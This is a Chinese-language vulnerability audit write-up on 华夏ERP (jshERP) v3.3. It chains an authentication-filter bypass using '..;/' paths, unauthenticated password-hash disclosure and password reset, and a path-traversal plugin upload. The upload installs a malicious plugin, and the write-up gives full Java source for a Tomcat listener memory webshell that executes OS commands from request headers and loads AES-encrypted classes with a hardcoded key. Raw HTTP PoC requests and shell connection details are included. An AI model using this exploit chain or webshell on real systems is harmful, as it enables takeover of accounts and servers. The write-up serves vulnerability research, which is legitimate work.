文章

华夏ERP_v3.3_RCE

华夏ERP_v3.3 审计记录

前置,未授权绕过

有个过滤器LogCostFilter内容如下:

image-20240831090127185

这段Filter其实是校验登录状态,登录了不阻止,没登陆走下面流程,其实它判断url的时候使用的contains包含xxx时,就可能存在绕过,比如:http://ip:prot/user/login/..;/..;/xxx/xxx ,这样其实可以直接进入到chain.doFilter从而实现绕过。

从后面调试可以看到。

前台任意密码泄露漏洞

华夏erp 数据库中存储的密码是MD5加密的,所以只能获取到MD5加密的密码,不过问题不大,因为登录的时候传参也是MD5。废话不多说直接poc

GET /jshERP-boot/user/login/..;/..;/user/getAllList HTTP/1.1
Host: 
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

image-20240831091435730

这里其实就是用到了前面的绕过操作调试如下:

image-20240831091725845

这样就借用了他白名单的路径实现了绕过。

这里就走到了/user/getAllList路径下:

image-20240831091920094

前台任意用户密码重置漏洞

有了前面的未授权绕过,那么可操作的范围就广了,比如源码中存在一个resetPwd方法,很明显是重置密码的。

内容如下:

image-20240831092124169

可以看到传入一个id,然后没有任何校验就可以重置密码为123456,这个id在数据库中可以看到其实就是一个数字,那么可以通过爆破的方式,把所有密码全重置了。

image-20240831092711420

那么也不难构造poc如下:

POST /jshERP-boot/user/login/..;/..;/user/resetPwd HTTP/1.1
Host: 127.0.0.1:9999
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: application/json;charset=UTF-8
Content-Length: 5

{"id":63}

image-20240831092918510

后台RCE漏洞

漏洞分析

当我们拿到admin用户的密码后,登录后台可以看到有个上传插件包的功能,像这种springboot项目没法直接上传jsprce但是可以使用这种动态扩展的插件包来,插入一个恶意的内存马来实现RCE。

image-20240831093238139

插件实现依赖:

https://gitee.com/xiongyi01/springboot-plugin-framework-parent

image-20240831093933929

image-20240831094055139

这种动态部署插件,就很可能存在问题,导致将恶意类注入到项目。

插件加载的目录可在配置文件中看到

image-20240831094352379

但是系统默认不存在plugins的文件夹,但是插件需要传入到这个文件夹下才能加载,所有需要想办法把这个文件夹创建出来。所有得找可能存在创建文件夹的点。一般在解压或者上传点上可能存在这种创建文件夹的操作,恰巧可以看到上传插件时的逻辑。路径如下:

1
install->uploadPluginAndStart->uploadPlugin->createExistFile->创建文件夹

image-20240831095424102

image-20240831095453368

image-20240831095606576

image-20240831095628427

可以很明显看到当路径不存在时会创建文件夹,同时path可通过上传的文件名操作,因为没有过滤..的操作。

先请求创建文件夹,poc 如下:

POST /jshERP-boot/plugin/uploadInstallPluginJar HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryR18c5m1VIoSIwPqD
Origin: http://127.0.0.1:3000
Accept-Language: zh-CN,zh;q=0.9
Referer: http://127.0.0.1:3000/system/plugin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120", "Google Chrome";v="120"
X-Requested-With: XMLHttpRequest
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
X-Access-Token: 4c93f37385db47ad90b8e3ec95272c8b_0
sec-ch-ua-mobile: ?0
Accept-Encoding: gzip, deflate, br
sec-ch-ua-platform: "Windows"
Sec-Fetch-Dest: empty
Cookie: Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1725067893; HMACCOUNT=A70ECDA0ACDDDBF2; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1725067922
Content-Length: 672302

------WebKitFormBoundaryR18c5m1VIoSIwPqD
Content-Disposition: form-data; name="file"; filename="../plugins/shell.jar"
Content-Type: application/octet-stream


------WebKitFormBoundaryR18c5m1VIoSIwPqD--

原本是没有plugins文件夹的.

image-20240831100128740

发包再看,出现了plugins文件夹。

image-20240831100222676

接下来直接正常发上传包就行了,把filename改成正常的。

POST /jshERP-boot/plugin/uploadInstallPluginJar HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryR18c5m1VIoSIwPqD
Origin: http://127.0.0.1:3000
Accept-Language: zh-CN,zh;q=0.9
Referer: http://127.0.0.1:3000/system/plugin
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
sec-ch-ua: "Not_A Brand";v="8", "Chromium";v="120", "Google Chrome";v="120"
X-Requested-With: XMLHttpRequest
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
X-Access-Token: 4c93f37385db47ad90b8e3ec95272c8b_0
sec-ch-ua-mobile: ?0
Accept-Encoding: gzip, deflate, br
sec-ch-ua-platform: "Windows"
Sec-Fetch-Dest: empty
Cookie: Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1725067893; HMACCOUNT=A70ECDA0ACDDDBF2; Hm_lpvt_1cd9bcbaae133f03a6eb19da6579aaba=1725067922
Content-Length: 672302

------WebKitFormBoundaryR18c5m1VIoSIwPqD
Content-Disposition: form-data; name="file"; filename="shell.jar"
Content-Type: application/octet-stream


------WebKitFormBoundaryR18c5m1VIoSIwPqD--

image-20240831100411410

image-20240831102719406

插件制作

https://gitee.com/xiongyi01/springboot-plugin-framework-parent

直接按照项目自带的例子删掉没用的加上内存马就行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
package com.basic.example.plugin1;

import com.sun.jmx.mbeanserver.NamedObject;
import com.sun.jmx.mbeanserver.Repository;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.Response;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.modeler.Registry;

import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
import javax.management.DynamicMBean;
import javax.management.MBeanServer;
import javax.management.ObjectName;
import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import javax.servlet.http.HttpSession;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Scanner;
import java.util.Set;

public class TomcatListenerMemShellFromJMX extends AbstractTranslet implements ServletRequestListener {
    static {
        System.out.println("Listener loaded!"); //测试用
        try {
            MBeanServer mbeanServer = Registry.getRegistry(null, null).getMBeanServer();
            Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
            field.setAccessible(true);
            Object obj = field.get(mbeanServer);

            field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
            field.setAccessible(true);
            Repository repository = (Repository) field.get(obj);

            Set<NamedObject> objectSet = repository.query(new ObjectName("Catalina:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null);
            if (objectSet.size() == 0) {
                // springboot的jmx中为Tomcat而非Catalina
                objectSet = repository.query(new ObjectName("Tomcat:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null);
            }

            for (NamedObject namedObject : objectSet) {
                DynamicMBean dynamicMBean = namedObject.getObject();
                field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
                field.setAccessible(true);
                obj = field.get(dynamicMBean);

                field = Class.forName("org.apache.catalina.authenticator.AuthenticatorBase").getDeclaredField("context");
                field.setAccessible(true);
                StandardContext standardContext = (StandardContext) field.get(obj);

                TomcatListenerMemShellFromJMX listener = new TomcatListenerMemShellFromJMX();
                standardContext.addApplicationEventListener(listener);
            }
        } catch (Exception e) {
//            e.printStackTrace();
        }
    }

    @Override
    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {

    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {

    }

    @Override
    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {

    }

    @Override
    public void requestInitialized(ServletRequestEvent servletRequestEvent) {
// Listener马没有包装类问题
        try {
            RequestFacade requestFacade = (RequestFacade) servletRequestEvent.getServletRequest();
            Field f = requestFacade.getClass().getDeclaredField("request");
            f.setAccessible(true);
            Request request = (Request) f.get(requestFacade);
            Response response = request.getResponse();
            // 入口
            if (request.getHeader("Referer").equalsIgnoreCase("https://www.google.com/")) {
                // cmdshell
                if (request.getHeader("x-client-data").equalsIgnoreCase("cmd")) {
                    String cmd = request.getHeader("cmd");
                    if (cmd != null && !cmd.isEmpty()) {
                        String[] cmds = null;
                        if (System.getProperty("os.name").toLowerCase().contains("win")) {
                            cmds = new String[]{"cmd", "/c", cmd};
                        } else {
                            cmds = new String[]{"/bin/bash", "-c", cmd};
                        }
                        String result = new Scanner(Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\A").next();
                        response.resetBuffer();
                        response.getWriter().println(result);
                        response.flushBuffer();
                        response.finishResponse();
                    }
                } else if (request.getHeader("x-client-data").equalsIgnoreCase("google")) {
                    if (request.getMethod().equals("POST")) {
                        // 创建pageContext
                        HashMap pageContext = new HashMap();

                        // lastRequest的session是没有被包装的session!!
                        HttpSession session = request.getSession();
                        pageContext.put("request", request);
                        pageContext.put("response", response);
                        pageContext.put("session", session);
                        // 这里判断payload是否为空 因为在springboot2.6.3测试时request.getReader().readLine()可以获取到而采取拼接的话为空字符串
                        String payload = request.getReader().readLine();

//                        System.out.println(payload);
                        // 冰蝎逻辑
                        String k = "efac9bf6b802b5b9"; // m@nb666
                        session.putValue("u", k);
                        Cipher c = Cipher.getInstance("AES");
                        c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
                        Method method = Class.forName("java.lang.ClassLoader").getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
                        method.setAccessible(true);
                        byte[] evilclass_byte = c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(payload));
                        Class evilclass = (Class) method.invoke(Thread.currentThread().getContextClassLoader(), evilclass_byte, 0, evilclass_byte.length);
                        evilclass.newInstance().equals(pageContext);
                    }
                } else {
                    response.resetBuffer();
                    response.getWriter().println("error");
                    response.flushBuffer();
                    response.finishResponse();
                }
            }
        } catch (Exception e) {
//            e.printStackTrace();
        }
    }
}

image-20240831100751125

DefinePlugin的静态块里直接new 一个内存马即可,插件启动判断是否正确加载插件。

弄好后直接打包,先打包一下,不打包后面命令可能会报错少文件。

image-20240831101104044

然后找到

image-20240831101240120

运行后会生成dist文件夹,里面的plugins就是我们的恶意插件。

image-20240831101309390

当加载后可以看到服务器端:

image-20240831101421628

连接配置信息:

1
2
3
4
Referer: https://www.google.com/
x-client-data: google

pass: m@nb666

image-20240831101505874

回显信息:

1
2
3
Referer: https://www.google.com/
x-client-data: cmd
cmd: whoami

image-20240831102614094

本文由作者按照 CC BY 4.0 进行授权